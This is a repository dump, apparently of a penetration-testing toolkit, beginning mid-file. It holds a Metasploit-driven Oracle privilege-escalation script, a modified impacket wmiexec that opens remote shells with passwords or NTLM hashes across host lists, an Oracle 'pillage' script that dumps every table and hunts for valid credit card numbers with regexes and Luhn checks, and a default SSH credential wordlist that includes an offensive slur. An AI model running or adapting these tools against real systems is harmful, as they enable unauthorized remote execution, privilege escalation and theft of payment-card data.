"+hostname+":1521" 267 | except: 268 | print "[-] Cannot connect to "+hostname+":1521" 269 | 270 | if socketAvail==True: 271 | username = args['username'] 272 | password = args['password'] 273 | print "[+] [SID:"+sid+"] Testing accounts. " 274 | if checkPermissions(username,password,hostname,sid,firstRun=True)==False: 275 | print colored("[+] Attempting Metasploit Oracle SQL Privilege Escalation","red",attrs=['bold']) 276 | msfPrivEsc(username,password,hostname,sid) 277 | if checkPermissions(username,password,hostname,sid,firstRun=False)==False: 278 | print colored("[+] Attempting Addition Oracle SQL Privilege Escalation","red",attrs=['bold']) 279 | msfPrivEscUnknown(username,password,hostname,sid) 280 | if checkPermissions(username,password,hostname,sid,firstRun=False)==False: 281 | print colored("[+] ["+sid+"]"+" Result: "+username.strip()+"/"+password.strip()+". (Unable to Escalate to DBA)","red",attrs=['bold']) 282 | else: 283 | print colored("[+] ["+sid+"]"+" Result: "+username.strip()+"/"+password.strip()+". (Successfully escalated to DBA)","red",attrs=['bold']) 284 | else: 285 | print colored("[+] ["+sid+"]"+" Result: "+username.strip()+"/"+password.strip()+". (Successfully escalated to DBA)","red",attrs=['bold']) 286 | else: 287 | print colored("[+] ["+sid+"]"+" Result: "+username.strip()+"/"+password.strip()+". (Successfully escalated to DBA)","red",attrs=['bold']) 288 | -------------------------------------------------------------------------------- /impacket/wmiexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2003-2014 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # $Id$ 9 | # 10 | # A similar approach to smbexec but executing commands through WMI. 11 | # Main advantage here is it runs under the user (has to be Admin) 12 | # account, not SYSTEM, plus, it doesn't generate noisy messages 13 | # in the event log that smbexec.py does when creating a service. 14 | # Drawback is it needs DCOM, hence, I have to be able to access 15 | # DCOM ports at the target machine. 16 | # 17 | # Author: 18 | # beto (bethus@gmail.com) 19 | # 20 | # Reference for: 21 | # DCOM 22 | # 23 | 24 | import sys 25 | import os 26 | import cmd 27 | import argparse 28 | import time 29 | import ntpath 30 | 31 | from impacket import version, ntlm 32 | from impacket.smbconnection import * 33 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 34 | from impacket.dcerpc.v5.dcom import wmi 35 | from impacket.dcerpc.v5.dtypes import NULL 36 | 37 | OUTPUT_FILENAME = '__' 38 | 39 | 40 | class WMIEXEC: 41 | def __init__(self, command='', username='', password='', domain='', hashes=None, share=None, noOutput=False): 42 | self.__command = command 43 | self.__username = username 44 | self.__password = password 45 | self.__domain = domain 46 | self.__lmhash = '' 47 | self.__nthash = '' 48 | self.__share = share 49 | self.__noOutput = noOutput 50 | if hashes is not None: 51 | self.__lmhash, self.__nthash = hashes.split(':') 52 | 53 | def run(self, addr): 54 | if self.__noOutput is False: 55 | smbConnection = SMBConnection(addr, addr) 56 | smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 57 | dialect = smbConnection.getDialect() 58 | if dialect == SMB_DIALECT: 59 | print("[*] SMBv1 dialect used") 60 | elif dialect == SMB2_DIALECT_002: 61 | print("[*] SMBv2.0 dialect used") 62 | elif dialect == SMB2_DIALECT_21: 63 | print("[*] SMBv2.1 dialect used") 64 | else: 65 | print("[*] SMBv3.0 dialect used") 66 | else: 67 | smbConnection = None 68 | 69 | dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, oxidResolver=True) 70 | 71 | iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) 72 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) 73 | iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) 74 | iWbemLevel1Login.RemRelease() 75 | 76 | win32Process, _ = iWbemServices.GetObject('Win32_Process') 77 | 78 | try: 79 | self.shell = RemoteShell(self.__share, win32Process, smbConnection) 80 | if self.__command != ' ': 81 | self.shell.onecmd(self.__command) 82 | else: 83 | self.shell.cmdloop() 84 | except (Exception, KeyboardInterrupt), e: 85 | #import traceback 86 | #traceback.print_exc() 87 | print e 88 | if smbConnection is not None: 89 | smbConnection.logoff() 90 | dcom.disconnect() 91 | sys.stdout.flush() 92 | sys.exit(1) 93 | 94 | if smbConnection is not None: 95 | smbConnection.logoff() 96 | dcom.disconnect() 97 | 98 | 99 | class RemoteShell(cmd.Cmd): 100 | def __init__(self, share, win32Process, smbConnection): 101 | cmd.Cmd.__init__(self) 102 | self.__share = share 103 | self.__output = '\\' + OUTPUT_FILENAME 104 | self.__outputBuffer = '' 105 | self.__shell = 'cmd.exe /Q /c ' 106 | self.__win32Process = win32Process 107 | self.__transferClient = smbConnection 108 | self.__pwd = 'C:\\' 109 | self.__noOutput = False 110 | self.intro = '[!] Launching semi-interactive shell - Careful what you execute' 111 | 112 | # We don't wanna deal with timeouts from now on. 113 | if self.__transferClient is not None: 114 | self.__transferClient.setTimeout(100000) 115 | self.do_cd('\\') 116 | else: 117 | self.__noOutput = True 118 | 119 | def do_shell(self, s): 120 | os.system(s) 121 | 122 | def do_exit(self, s): 123 | return True 124 | 125 | def emptyline(self): 126 | return False 127 | 128 | def do_cd(self, s): 129 | self.execute_remote('cd ' + s) 130 | if len(self.__outputBuffer.strip('\r\n')) > 0: 131 | print self.__outputBuffer 132 | self.__outputBuffer = '' 133 | else: 134 | self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) 135 | self.execute_remote('cd ') 136 | self.__pwd = self.__outputBuffer.strip('\r\n') 137 | self.prompt = self.__pwd + '>' 138 | self.__outputBuffer = '' 139 | 140 | def default(self, line): 141 | # Let's try to guess if the user is trying to change drive 142 | if len(line) == 2 and line[1] == ':': 143 | # Execute the command and see if the drive is valid 144 | self.execute_remote(line) 145 | if len(self.__outputBuffer.strip('\r\n')) > 0: 146 | # Something went wrong 147 | print self.__outputBuffer 148 | self.__outputBuffer = '' 149 | else: 150 | # Drive valid, now we should get the current path 151 | self.__pwd = line 152 | self.execute_remote('cd ') 153 | self.__pwd = self.__outputBuffer.strip('\r\n') 154 | self.prompt = self.__pwd + '>' 155 | self.__outputBuffer = '' 156 | else: 157 | if line != '': 158 | self.send_data(line) 159 | 160 | def get_output(self): 161 | def output_callback(data): 162 | self.__outputBuffer += data 163 | 164 | if self.__noOutput is True: 165 | self.__outputBuffer = '' 166 | return 167 | 168 | while True: 169 | try: 170 | self.__transferClient.getFile(self.__share, self.__output, output_callback) 171 | break 172 | except Exception, e: 173 | if str(e).find('STATUS_SHARING_VIOLATION') >= 0: 174 | # Output not finished, let's wait 175 | time.sleep(1) 176 | pass 177 | else: 178 | #print str(e) 179 | pass 180 | self.__transferClient.deleteFile(self.__share, self.__output) 181 | 182 | def execute_remote(self, data): 183 | command = self.__shell + data 184 | if self.__noOutput is False: 185 | command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' 186 | obj = self.__win32Process.Create(command, self.__pwd, None) 187 | self.get_output() 188 | 189 | def send_data(self, data): 190 | self.execute_remote(data) 191 | print self.__outputBuffer 192 | self.__outputBuffer = '' 193 | 194 | 195 | # Process command-line arguments. 196 | if __name__ == '__main__': 197 | print version.BANNER 198 | 199 | parser = argparse.ArgumentParser() 200 | 201 | #parser.add_argument('target', action='store', help='[domain/][username[:password]@]

') 202 | parser.add_argument('-d', action='store', help='[domain]') 203 | parser.add_argument('-u', action='store', help='[username]') 204 | parser.add_argument('-p', action='store', help='[password]') 205 | parser.add_argument('-ip', action='store', help='[ip address]') 206 | parser.add_argument('-f', action='store', help='[file containg list of IP addresses]') 207 | parser.add_argument('-share', action='store', default='ADMIN$', help='share where the output will be grabbed from (default ADMIN$)') 208 | parser.add_argument('-nooutput', action='store_true', default=False, help='whether or not to print the output (no SMB connection created)') 209 | 210 | parser.add_argument('-command', action='store', help='command to execute at the target. If empty it will launch a semi-interactive shell') 211 | #parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will launch a semi-interactive shell') 212 | 213 | group = parser.add_argument_group('authentication') 214 | 215 | group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 216 | 217 | if len(sys.argv) == 1: 218 | parser.print_help() 219 | sys.exit(1) 220 | 221 | options = parser.parse_args() 222 | 223 | if options.command == ' ' and options.nooutput is True: 224 | print "[-] Error: -nooutput switch and interactive shell not supported" 225 | sys.exit(1) 226 | 227 | addList = [] 228 | 229 | if options.f: 230 | inp = open(options.f, "r") 231 | for line in inp.readlines(): 232 | addList.append(line.rstrip()) 233 | for address in addList: 234 | print "[*] Running command on %s..." % address 235 | username = options.u 236 | password = options.p 237 | try: 238 | if options.d is None: 239 | domain = '' 240 | else: 241 | domain = options.d 242 | if password == '' and username != '' and options.hashes is None: 243 | from getpass import getpass 244 | password = getpass("Password:") 245 | 246 | executer = WMIEXEC(options.command, username, password, domain, options.hashes, options.share, options.nooutput) 247 | executer.run(address) 248 | except (Exception, KeyboardInterrupt) as e: 249 | #import traceback 250 | #print traceback.print_exc() 251 | print '\n[-] Error: %s' % e 252 | sys.exit(0) 253 | 254 | else: 255 | username = options.u 256 | password = options.p 257 | address = options.ip 258 | try: 259 | if options.d is None: 260 | domain = '' 261 | else: 262 | domain = options.d 263 | if password == '' and username != '' and options.hashes is None: 264 | from getpass import getpass 265 | password = getpass("Password:") 266 | 267 | executer = WMIEXEC(options.command, username, password, domain, options.hashes, options.share, options.nooutput) 268 | executer.run(address) 269 | except (Exception, KeyboardInterrupt) as e: 270 | #import traceback 271 | #print traceback.print_exc() 272 | print '\n[-] Error: %s' % e 273 | sys.exit(0) 274 | -------------------------------------------------------------------------------- /oracle_pillage/ora_pillage.py: -------------------------------------------------------------------------------- 1 | import cx_Oracle 2 | import time 3 | import sys 4 | import csv 5 | import re 6 | import argparse 7 | import urllib 8 | import os.path 9 | import fileinput 10 | import subprocess 11 | import socket 12 | import os 13 | import itertools 14 | from collections import defaultdict 15 | from pprint import pprint 16 | from termcolor import colored 17 | 18 | #http://hivelocity.dl.sourceforge.net/project/cx-oracle/5.1.1/cx_Oracle-5.1.1.tar.gz 19 | outputFileCSV="" 20 | ccRegex = [] 21 | ccRegex.append("^4[0-9]{12}(?:[0-9]{3})?$") #Visa Regex 22 | ccRegex.append("^5[1-5][0-9]{14}$") #Mastercard Regex 23 | ccRegex.append("^3[47][0-9]{13}$") #Amex Regex 24 | ccRegex.append("^3(?:0[0-5]|[68][0-9])[0-9]{11}$") #Diners Regex 25 | ccRegex.append("^6(?:011|5[0-9]{2})[0-9]{12}$") #Discover Regex 26 | ccRegex.append("^(?:2131|1800|35\d{3})\d{11}$") #JCDB Regex 27 | 28 | interestingData = False 29 | 30 | def cardLuhnChecksumIsValid(card_number): 31 | """ checks to make sure that the card passes a luhn mod-10 checksum """ 32 | 33 | sum = 0 34 | num_digits = len(card_number) 35 | oddeven = num_digits & 1 36 | 37 | for count in range(0, num_digits): 38 | digit = int(card_number[count]) 39 | 40 | if not (( count & 1 ) ^ oddeven ): 41 | digit = digit * 2 42 | if digit > 9: 43 | digit = digit - 9 44 | 45 | sum = sum + digit 46 | return ( (sum % 10) == 0 ) 47 | 48 | def dataExtract(username,password,hostname,sid,sample): 49 | print "[+] Extracting data from database" 50 | try: 51 | orcl1 = cx_Oracle.connect(username+"/"+password+"@"+hostname+":1521/"+sid) 52 | curs = orcl1.cursor() 53 | curs.execute("select * from v$database") 54 | for db_data in curs: 55 | #Iterate per database 56 | dbName = db_data[1] 57 | print "[+] Database found: "+dbName 58 | 59 | orcl2 = cx_Oracle.connect(username+"/"+password+"@"+hostname+":1521/"+sid) 60 | curs2 = orcl2.cursor() 61 | tblCount2 = curs2.execute("SELECT COUNT(*) FROM tab") 62 | #Get a count of the total tables in the databases 63 | if tblCount2<1: 64 | print "There are no tables in "+dbName+". Its possible that the account does not have access. Try escalating privileges." 65 | if tblCount2: 66 | #Continue with CC data search 67 | orcl3 = cx_Oracle.connect(username+"/"+password+"@"+hostname+":1521/"+sid) 68 | curs3 = orcl3.cursor() 69 | curs3.execute("SELECT * FROM tab") #Get a list of all tables 70 | for row_data in curs3: 71 | #Iterate per table 72 | if not row_data[0].startswith('BIN$'): # skip recycle bin tables 73 | tableName = row_data[0] 74 | try: 75 | print colored("\n[+] Ransacking table: "+tableName+" in "+sid,"red",attrs=['bold']) 76 | orcl4 = cx_Oracle.connect(username+"/"+password+"@"+hostname+":1521/"+sid) 77 | sql4 = "select * from (select * from " + tableName+") where rownum <="+str(sample) 78 | curs4 = orcl4.cursor() 79 | curs4.execute(sql4) 80 | matchedRows = [] 81 | results = curs4.fetchall() 82 | except cx_Oracle.DatabaseError: 83 | continue 84 | except cx_Oracle.DatabaseError: 85 | continue 86 | 87 | global outputFileCSV 88 | if outputFileCSV!="": 89 | for result in results: 90 | print str(result) 91 | #Write all results to output file 92 | fo = open(outputFileCSV, "a+") 93 | fo.write(str(result)+"\n") 94 | fo.close() 95 | else: 96 | for result in results: 97 | print result 98 | results = curs4.fetchall() 99 | for searchStr in ccRegex: 100 | #Credit Card Regex Search 101 | p = re.compile(searchStr) 102 | for row_data in results: 103 | for col in row_data: 104 | if p.match(str(col)): 105 | #Run the found CC info thru LUHN algorithm to confirm 106 | n = p.match(str(col)) 107 | if cardLuhnChecksumIsValid(str(col)): 108 | print colored("[+] Found valid CC: %s in table %s [%s]" % (col, tableName, sid),"red",attrs=['bold']) 109 | else: 110 | print "%s is not valid credit card number" % col 111 | matchedRows.append(row_data) 112 | #Write rows that matched to csv file 113 | if len(matchedRows) > 0: 114 | csv_file_dest = dbName + '_' + tableName + ".csv" 115 | print colored("\n[+] Results for first ten rows have been saved to "+csv_file_dest+".","red",attrs=['bold']) 116 | outputFile = open(csv_file_dest,'w') 117 | output = csv.writer(outputFile, dialect='excel') 118 | 119 | #if printHeader: # add column headers if requested 120 | cols = [] 121 | for col in curs4.description: 122 | cols.append(col[0]) 123 | output.writerow(cols) 124 | 125 | for rows in matchedRows: # add table rows 126 | output.writerow(rows) 127 | outputFile.close() 128 | curs4.close() 129 | curs3.close() 130 | curs2.close() 131 | curs.close() 132 | 133 | except cx_Oracle.DatabaseError as e: 134 | print e 135 | tableNames = [] 136 | if "table or view does not exist" in str(e): 137 | print colored("\n[!] Account is not a DBA. Please try to use 'ora_priv.py'.","blue",attrs=['bold']) 138 | orcl2 = cx_Oracle.connect(username+"/"+password+"@"+hostname+":1521/"+sid) 139 | curs2 = orcl2.cursor() 140 | curs2.execute("SELECT table_name FROM user_tables") 141 | #curs2.execute("SELECT table_name FROM all_tab_columns WHERE column_name LIKE \'%%\'") 142 | for row_data in curs2: 143 | #Iterate per table 144 | if not row_data[0].startswith('BIN$'): # skip recycle bin tables 145 | tableName = row_data[0] 146 | if tableName not in tableNames: 147 | tableNames.append(tableName) 148 | for tableName in tableNames: 149 | print str(tableName) 150 | try: 151 | print colored("\n[+] Ransacking table: "+tableName+" in "+sid,"red",attrs=['bold']) 152 | orcl4 = cx_Oracle.connect(username+"/"+password+"@"+hostname+":1521/"+sid) 153 | sql4 = "SELECT column_name FROM USER_TAB_COLUMNS WHERE table_name = '"+str(tableName)+"'" 154 | curs4 = orcl4.cursor() 155 | curs4.execute(sql4) 156 | matchedRows = [] 157 | results = curs4.fetchall() 158 | #print str(results) 159 | newResults = str(results).lower() 160 | global interestingData 161 | if interestingData == True: 162 | if "card" in newResults or "credit" in newResults or "bank" in newResults or "passw" in newResults: 163 | print str(results) 164 | orcl5 = cx_Oracle.connect(username+"/"+password+"@"+hostname+":1521/"+sid) 165 | sql5 = "select * from (select * from " + tableName+") where rownum <="+str(sample) 166 | curs5 = orcl4.cursor() 167 | curs5.execute(sql5) 168 | matchedRows = [] 169 | results = curs5.fetchall() 170 | for result in results: 171 | print str(result) 172 | else: 173 | print str(results) 174 | orcl5 = cx_Oracle.connect(username+"/"+password+"@"+hostname+":1521/"+sid) 175 | sql5 = "select * from (select * from " + tableName+") where rownum <="+str(sample) 176 | curs5 = orcl4.cursor() 177 | curs5.execute(sql5) 178 | matchedRows = [] 179 | results = curs5.fetchall() 180 | for result in results: 181 | print str(result) 182 | 183 | except cx_Oracle.DatabaseError as e: 184 | if "table or view does not exist" in str(e): 185 | pass 186 | #for result in results: 187 | # print str(result) 188 | # print "cx_Oracle.DatabaseError" 189 | # pass 190 | 191 | 192 | #outputFileCSV="output4.csv" 193 | interestingData=False 194 | 195 | if __name__=="__main__": 196 | parser = argparse.ArgumentParser(description='Oracle Privilege Escalation') 197 | parser.add_argument('-host', help='IP or host name of Oracle server') 198 | parser.add_argument('-hostFile', dest='hostFile', help='File containing IP addresses of oracle servers') 199 | parser.add_argument('-u', dest='username', help='Use this username to authenticate') 200 | parser.add_argument('-p', dest='password', help='Use this password to authenticate') 201 | parser.add_argument('-sid', dest='sid', help='Use this sid') 202 | parser.add_argument('-sample', dest='sample', help='Sample size') 203 | parser.add_argument('-idf', action='store_true', help='Interesting Data Finder') 204 | args = vars(parser.parse_args()) 205 | 206 | hostList = [] 207 | counter=0 208 | 209 | if args['host']!=None: 210 | counter+=1 211 | 212 | if args['hostFile']!=None: 213 | counter+=1 214 | 215 | if args['hostFile']!=None and args['host']==None: 216 | for line in open(args['hostFile'],'r'): 217 | hostList.append(line.strip()) 218 | 219 | if args['host']!=None and args['hostFile']==None: 220 | hostList.append(args['host']) 221 | 222 | if counter==0 or counter>1: 223 | print colored("[+] Please use either -host or -hostFile.","red",attrs=['bold']) 224 | sys.exit(0) 225 | 226 | if args['sid']!=None: 227 | sid = args['sid'] 228 | 229 | if args['sample']!=None: 230 | sample = args['sample'] 231 | 232 | if args['idf']: 233 | interestingData=True 234 | 235 | #Check if username/password is provided in the command line 236 | credCount=0 237 | 238 | if args['username']!=None: 239 | credCount+=1 240 | if args['password']!=None: 241 | credCount+=1 242 | if credCount>1 and credCount<2: 243 | print "[!] You need to provide both -u and -p." 244 | sys.exit(0) 245 | 246 | #Load hostname 247 | for hostname in hostList: 248 | if len(hostname)<1: 249 | sys.exit(0) 250 | 251 | socketAvail = False 252 | try: 253 | socket.setdefaulttimeout(2) 254 | s = socket.socket() 255 | s.connect((hostname,1521)) 256 | socketAvail=True 257 | print "[+] Connected to "+hostname+":1521" 258 | except: 259 | print "[-] Cannot connect to "+hostname+":1521" 260 | 261 | if socketAvail==True: 262 | username = args['username'] 263 | password = args['password'] 264 | print "[+] [SID:"+sid+"] Testing accounts. " 265 | if args['sample']==None: 266 | sample=5 267 | dataExtract(username,password,hostname,sid,sample) 268 | -------------------------------------------------------------------------------- /default_accounts_wordlist/wordList_ssh.txt: -------------------------------------------------------------------------------- 1 | :n/a:admin 2 | :n/a:(none) 3 | :l2:l2 4 | :l3:l3 5 | :ro:ro 6 | :rw:rw 7 | :rwa:rwa 8 | :sa:(none) 9 | :sa:sasasa 10 | :sysadmin:master 11 | :sysadm:sysadm 12 | :guest:(none) 13 | :nop:12345 14 | :admin:(none) 15 | :autocad:autocad 16 | :(any 3 characters):cascade 17 | :Administrator:changeme 18 | :Admin:No 19 | :admin:bintec 20 | :config:biodata 21 | :root:last 6 characters of the MAC ADRESS "if it contains any alpha characters, type them as upper case" 22 | :root:Last 6 characters (chars uppercased) from MAC Address 23 | :(none):admin 24 | :diag:danger 25 | :manuf:xxyyzz 26 | :N/A:AUTORAID 27 | :Admin:admin1 28 | :Administrator:admin 29 | :memotec:supervisor 30 | :1:syslib 31 | :1:operator 32 | :1:manager 33 | :2:maintain 34 | :2:syslib 35 | :2:manager 36 | :2:operator 37 | :30:games 38 | :5:games 39 | :7:maintain 40 | :operator:admin 41 | :n/a:ACCESS 42 | :n/a:SYSTEM 43 | :craft:(none) 44 | :admin:none 45 | :admin:year2000 46 | :admin:____BLANK___ 47 | :m1122:m1122 48 | :SETUP:(none) 49 | :LIBRARY:(none) 50 | :james:james 51 | :NICONEX:NICONEX 52 | :(none):enter 53 | :file:file 54 | :admin:abc123 55 | :ami:(none) 56 | :mountsys:mountsys 57 | :news:news 58 | :news:(none) 59 | :nobody:(none) 60 | :nobody:nobody 61 | :nuucp:(none) 62 | :operator:(none) 63 | :oracle:(none) 64 | :postmaster:postmast 65 | :postmaster:(none) 66 | :powerdown:powerdown 67 | :rje:rje 68 | :root:(none) 69 | :shutdown:shutdown 70 | :shutdown:(none) 71 | :sync:sync 72 | :sync:(none) 73 | :sys:system 74 | :sys:bin 75 | :sysadm:admin 76 | :sysadmin:sysadmin 77 | :sysbin:sysbin 78 | :system_admin:(none) 79 | :checkfsys:checkfsys 80 | :checksys:checksys 81 | :daemon:daemon 82 | :daemon:(none) 83 | :demo:(none) 84 | :demos:demos 85 | :demos:(none) 86 | :dni:(none) 87 | :dni:dni 88 | :fal:(none) 89 | :fal:fal 90 | :fax:(none) 91 | :fax:fax 92 | :ftp:(none) 93 | :ftp:ftp 94 | :games:games 95 | :games:(none) 96 | :gopher:gopher 97 | :gropher:(none) 98 | :guest:guestgue 99 | :halt:halt 100 | :halt:(none) 101 | :root:hp 102 | :install:install 103 | :lp:lp 104 | :lp:bin 105 | :lp:lineprin 106 | :lp:(none) 107 | :lpadm:lpadm 108 | :lpadmin:lpadmin 109 | :lynx:lynx 110 | :lynx:(none) 111 | :mail:(none) 112 | :mail:mail 113 | :man:man 114 | :man:(none) 115 | :me:(none) 116 | :me:me 117 | :mountfs:mountfs 118 | :mountfsys:mountfsys 119 | :system_admin:system_admin 120 | :trouble:trouble 121 | :umountfs:umountfs 122 | :umountfsys:umountfsys 123 | :umountsys:umountsys 124 | :unix:unix 125 | :uucp:uucp 126 | :uucpadm:uucpadm 127 | :web:(none) 128 | :web:web 129 | :webmaster:webmaster 130 | :webmaster:(none) 131 | :www:(none) 132 | :www:www 133 | :adm:adm 134 | :adm:(none) 135 | :administrator:(none) 136 | :anon:anon 137 | :bbs:bbs 138 | :bbs:(none) 139 | :bin:sys 140 | :checkfs:checkfs 141 | :Admin:atc456 142 | :LessonUser1:(none) 143 | :LessonUser2:(none) 144 | :(none):speedxess 145 | :drhhdrhhd:dhrhdhhhh 146 | :31994:31994 147 | :n/a:access 148 | :MGR:TELESUP 149 | :MGR:HPDESK 150 | :MGR:CCC 151 | :MGR:CNAS 152 | :MGR:WORD 153 | :MGR:COGNOS 154 | :MGR:ROBELLE 155 | :MGR:HPOFFICE 156 | :MGR:HPONLY 157 | :MGR:HPP187 158 | :MGR:HPP189 159 | :MGR:HPP196 160 | :MGR:INTX3 161 | :MGR:ITF3000 162 | :MGR:NETBASE 163 | :MGR:REGO 164 | :MGR:RJE 165 | :MGR:CONV 166 | :OPERATOR:SYS 167 | :OPERATOR:DISC 168 | :OPERATOR:SYSTEM 169 | :OPERATOR:SUPPORT 170 | :OPERATOR:COGNOS 171 | :PCUSER:SYS 172 | :RSBCMON:SYS 173 | :SPOOLMAN:HPOFFICE 174 | :WP:HPOFFICE 175 | :ADVMAIL:HPOFFICE DATA 176 | :ADVMAIL:HP 177 | :FIELD:SUPPORT 178 | :FIELD:MGR 179 | :FIELD:SERVICE 180 | :FIELD:MANAGER 181 | :FIELD:HPP187 SYS 182 | :FIELD:LOTUS 183 | :FIELD:HPWORD PUB 184 | :FIELD:HPONLY 185 | :HELLO:MANAGER.SYS 186 | :HELLO:MGR.SYS 187 | :HELLO:FIELD.SUPPORT 188 | :HELLO:OP.OPERATOR 189 | :MAIL:MAIL 190 | :MAIL:REMOTE 191 | :MAIL:TELESUP 192 | :MAIL:HPOFFICE 193 | :MAIL:MPE 194 | :MANAGER:TCH 195 | :MANAGER:SYS 196 | :MANAGER:SECURITY 197 | :MANAGER:ITF3000 198 | :MANAGER:HPOFFICE 199 | :MANAGER:COGNOS 200 | :MANAGER:TELESUP 201 | :MGE:VESOFT 202 | :MGR:SYS 203 | :MGR:CAROLIAN 204 | :MGR:VESOFT 205 | :MGR:XLSERVER 206 | :MGR:SECURITY 207 | :admin:rainbow 208 | :admin:hello 209 | :khan:kahn 210 | :SYSDBA:masterkey 211 | :IntraStack:Asante 212 | :IntraSwitch:Asante 213 | :cisco:cisco 214 | :n/a:c 215 | :n/a:cisco 216 | :n/a:Cisco router 217 | :n/a:cc 218 | :enable:cisco 219 | :accounting:accounting 220 | :boss:boss 221 | :manager:manager 222 | :PDP11:PDP11 223 | :PDP8:PDP8 224 | :software:software 225 | :tutor:(none) 226 | :tutor:tutor 227 | :4Dgifts:4Dgifts 228 | :4Dgifts:(none) 229 | :Ezsetup:(none) 230 | :tour:tour 231 | :OutOfBox:(none) 232 | :n/a:1RRWTTOOI 233 | :1234567890:bloggs 234 | :Sysop:Sysop 235 | :admin:Ascend 236 | :SYSADM:sysadm 237 | :MCVEADMIN:password 238 | :(none):help 239 | :mediator:mediator 240 | :root:Mau dib 241 | :disttech:4tas 242 | :maint:maint 243 | :ccrusr:ccrusr 244 | :mlusr:mlusr 245 | :root:3ep5w2u 246 | :maint:ntacdmax 247 | :intelligent_guy_priyank:passwordguy 248 | :handsome_123_handsome:plsdontguess 249 | :MICRO:RSX 250 | :Admin:admin 251 | :admin:2222 252 | :ncrm:ncrm 253 | :admin:tetra 254 | :(none):(none) 255 | :netrangr:attack 256 | :LASERWRITER:(none) 257 | :MAIL:(none) 258 | :POST:(none) 259 | :POST:POST 260 | :PRINT:(none) 261 | :PRINT:PRINT 262 | :PRINTER:(none) 263 | :PRINTER:PRINTER 264 | :ROOT:(none) 265 | :ROOT:ROOT 266 | :ROUTER:(none) 267 | :SABRE:(none) 268 | :SUPERVISOR:NETFRAME 269 | :SUPERVISOR:NFI 270 | :SUPERVISOR:NF 271 | :SUPERVISOR:HARRIS 272 | :SUPERVISOR:SUPERVISOR 273 | :SUPERVISOR:(none) 274 | :SUPERVISOR:SYSTEM 275 | :TEST:TEST 276 | :TEST:(none) 277 | :USER_TEMPLATE:(none) 278 | :USER_TEMPLATE:USER_TEMPLATE 279 | :WANGTEK:(none) 280 | :WANGTEK:WANGTEK 281 | :WINDOWS_PASSTHRU:WINDOWS_PASSTHRU 282 | :WINDOWS_PASSTHRU:(none) 283 | :WINSABRE:SABRE 284 | :WINSABRE:WINSABRE 285 | :ADMIN:ADMIN 286 | :ADMIN:(none) 287 | :BACKUP:BACKUP 288 | :CHEY_ARCHSVR:CHEY_ARCHSVR 289 | :CHEY_ARCHSVR:(none) 290 | :FAX:FAX 291 | :FAX:(none) 292 | :FAXUSER:FAXUSER 293 | :FAXUSER:(none) 294 | :FAXWORKS:(none) 295 | :FAXWORKS:FAXWORKS 296 | :GATEWAY:GATEWAY 297 | :GATEWAY:(none) 298 | :GUEST:TSEUG 299 | :GUEST:GUESTGUEST 300 | :GUEST:GUESTGUE 301 | :GUEST:GUEST 302 | :GUEST:(none) 303 | :HPLASER:(none) 304 | :HPLASER:HPLASER 305 | :LASER:(none) 306 | :BACKUP:(none) 307 | :ARCHIVIST:ARCHIVIST 308 | :LASER:LASER 309 | :LASERWRITER:LASERWRITER 310 | :ARCHIVIST:(none) 311 | :admin:my_DEMARC 312 | :signa:signa 313 | :root:NeXT 314 | :root:nokia 315 | :n/a:symantec 316 | :n/a:1064 317 | :adminttd:adminttd 318 | :ftp_admi:kilo1987 319 | :n/a:123456 320 | :SYSMAN:oem_temp 321 | :CTXSYS:(none) 322 | :DEMO:DEMO 323 | :MTYSYS:MTYSYS 324 | :SCOTT:TIGER 325 | :SYS:CHANGE_ON_INSTALL 326 | :SYSTEM:MANAGER 327 | :TRACESRV:TRACE 328 | :APPLSYS:APPLSYS 329 | :AURORA@ORB@UNAUTHENTICATED:INVALID 330 | :11111111:11111111 331 | :22222222:22222222 332 | :ibm:password 333 | :ibm:2222 334 | :ibm:service 335 | :qpgmr:qpgmr 336 | :qsecofr:qsecofr 337 | :qsecofr:11111111 338 | :qsecofr:22222222 339 | :qserv:qserv 340 | :qsrv:qsrv 341 | :qsrvbas:qsrvbas 342 | :qsvr:qsvr 343 | :qsvr:ibmcel 344 | :qsysopr:qsysopr 345 | :quser:quser 346 | :secofr:secofr 347 | :patrol:patrol 348 | :PO8:PO8 349 | :tech:field 350 | :SUPERVISOR:DISCAR 351 | :supervisor:supervisor 352 | :primos_cs:primos 353 | :guest1:guest1 354 | :primos_cs:prime 355 | :system:prime 356 | :system:system 357 | :tele:tele 358 | :prime:prime 359 | :primenet:primenet 360 | :primenet:primeos 361 | :netlink:netlink 362 | :mfd:mfd 363 | :guest1:guest 364 | :root:ascend 365 | :readwrite:lucenttech1 366 | :readonly:lucenttech2 367 | :admin:rmnetlm 368 | :admin2:changeme 369 | :adminstrator:changeme 370 | :deskalt:password 371 | :deskman:changeme 372 | :desknorm:password 373 | :deskres:password 374 | :replicator:replicator 375 | :RMUser1:password 376 | :topicalt:password 377 | :topicnorm:password 378 | :topicres:password 379 | :setup:changeme 380 | :teacher:password 381 | :temp1:password 382 | :1.1:SYSTEM 383 | :BATCH:BATCH 384 | :SYSTEM:SYSTEM 385 | :admin:private 386 | :ADMN:admn 387 | :GEN1:gen1 388 | :GEN2:gen2 389 | :Guest:(none) 390 | :gonzo:(none) 391 | :snake:(none) 392 | :satan:(none) 393 | :sa:(blank) 394 | ::sa 395 | :stuccoboy:100198 396 | :fucking:javascript faggots 397 | :DBA:SQL 398 | :bciim:bciimpw 399 | :bcim:bcimpw 400 | :bcms:bcmspw 401 | :bcnas:bcnaspw 402 | :blue:bluepw 403 | :browse:browsepw 404 | :browse:looker 405 | :craft:craft 406 | :craft:craftpw 407 | :cust:custpw 408 | :enquiry:enquirypw 409 | :field:support 410 | :inads:indspw 411 | :inads:inads 412 | :init:initpw 413 | :locate:locatepw 414 | :maint:maintpw 415 